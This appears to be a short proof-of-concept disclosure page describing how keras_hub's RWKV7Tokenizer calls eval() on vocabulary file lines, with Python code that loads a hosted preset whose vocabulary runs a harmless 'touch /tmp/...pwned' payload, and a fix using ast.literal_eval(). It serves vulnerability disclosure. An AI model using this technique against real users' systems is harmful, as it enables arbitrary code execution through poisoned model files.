Views
No views yet
eval() in keras_hub.models.RWKV7Tokenizer vocabulary loading.keras_hub/src/models/rwkv7/rwkv7_tokenizer.py lines 117 and 275
call eval() on each line of vocabulary.txt during preset loading.
The vocabulary file in this repo contains a payload that executes
touch /tmp/keras_hub_rwkv7_pwned to prove code execution.1import keras_hub
2tokenizer = keras_hub.models.RWKV7Tokenizer.from_preset(
3 "hf://d3banjan/rwkv7-tokenizer-eval-rce-poc"
4)
5# Check: ls -la /tmp/keras_hub_rwkv7_pwnedeval() with ast.literal_eval() at lines 117 and 275.